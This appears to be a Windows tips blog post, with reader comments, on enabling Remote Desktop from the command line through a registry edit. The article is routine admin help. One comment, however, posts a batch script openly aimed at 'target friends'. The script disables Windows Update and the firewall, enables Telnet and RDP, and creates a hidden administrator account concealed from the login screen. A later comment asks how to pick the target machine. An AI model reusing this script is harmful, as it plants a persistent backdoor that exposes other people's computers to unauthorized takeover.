Categories: Remote access

Enable remote desktop from command line (CMD)

Remote desktop can be enabled/disabled by opening My computer properties and then by changing the settings in the ‘Remote‘ tab. We can do the same by editing registry key settings. This is explained below. Remote desktop is also called Terminal services or TS or RDP. This is an in-built remote desktop software for Windows users.

Enable remote desktop from CMD

  • Open registry editor by running regedit from Run.
  • Go to the node
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
  • Change the data of the value fDenyTSConnections to 0.

We can enable remote desktop from windows command line by running the following command.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

To disable remote desktop we need to run the below command.

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f

Reboot or logoff is not required after running the above command. I have tested this on Windows XP and Windows 7 and it has worked fine. It would work fine on Windows Vista too.

Enable Remote assistance:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f

Relevant Posts:
Run command for Remote Desktop
Remote desktop and Terminal Services : Frequently asked questions

Srini

View Comments

  • Thanks for sharing this.. I want to enable and disable remote desktop to test a scenario. I need to do this repeatedly so was looking for command line way of the same.

  • Thanks so much! This was very helpful. One hint to those that follow - I found that if I copied & pasted directly from this page - the " symbols were corrupted and gave me a different character set which did not work in the bat file. You have to either paste as text or delete & retype the "s.

    • Thanks Jo for pointing that out. Now I have placed the commands in a code block ; copy & paste would work fine.

  • How do you go a step further and add in the trusted users/groups for remote desktop? It puts in administrators by default, but I have to manually go in and add "domain users" to each machine.

    • Option 1:
      You can run the below command for each user you want to allow to connect remotely.

      net localgroup “Remote Desktop Users” Domain\Loginid /add

      Option 2:
      If you have a group of domain users and want to allow the whole group to do remote desktop on the computer, you can do that as well with a single command. Just replace the loginid in the above command with the group name.

      net localgroup “remote desktop users” “group name”  /add

      example:

       net localgroup “remote desktop users” “domain users”  /add
  • Thanx for this cool tip it helped me in creating my batch file which maybe dangerous for my target friends... :)

    @echo off
    
    REM ****************
    REM Disable off "AUTO UPDATE"
    REM ****************
    sc config wuauserv start= disabled
    net stop wuauserv
    
    REM ****************
    REM Disable windows xp Firewall
    REM ****************
    netsh firewall set opmode disable
    
    REM ****************
    REM Enable TELNET
    REM ****************
    sc config tlntsvr start= auto
    net start telnet
    
    REM ****************
    REM Enable Remote Desktop
    REM ****************
    reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    
    REM ***************
    REM Create a HIDDEN USER usr= hack007, pass= dani
    REM ***************
    net user hacker007 dani /add
    net localgroup "Administrators" /add hacker007
    net localgroup "Users" /del hacker007
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hacker007 /t REG_DWORD /d 0 /f
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v dontdisplaylastusername /t REG_DWORD /d 1 /f
  • So, i take the given command line to enable or disable the remote access, but it tells me Error: Access denied

    what do i do?

  • I have a question to
    Danish November 10, 2011 at 8:35 pm Feed.

    How can we determine target machine? By the code posted by Danish.

    • /v:--specifies the name of the computer to connect to.
      /f--starts the connection in a full screen.
      /w:--specifies the width of the remote desktop screen.
      /h:--specifies the height of the remote desktop screen

      eg
      mstsc /v: JD2043614 /f

    • you may have to configure your firewall to allow only certain IPs to connect to 3389. I'm sure Terminal Services also has some built in filters too...

Share
Published by
Srini

Recent Posts

Add new user account from command line (CMD)

Adding users from command line is much easier than going through the UI. It saves…

4 years ago

Delete directory from command line [Rmdir]

Do you want to delete a directory from Windows command prompt(CMD)? This post explains how…

4 years ago

TaskKill: Kill process from command line (CMD)

We can kill a process from GUI using Task manager. If you want to do…

4 years ago

Kill Chrome from command line

Chrome is definitely the stable browser compared to other ones and it has been my…

4 years ago

Find windows OS version from command line

Windows has multiple command line utilities that can help find the version of the Windows…

4 years ago

How to check if Windows 32 or 64 bit?

There are multiple ways to check whether a Windows computer is running 32-bit OS or…

7 years ago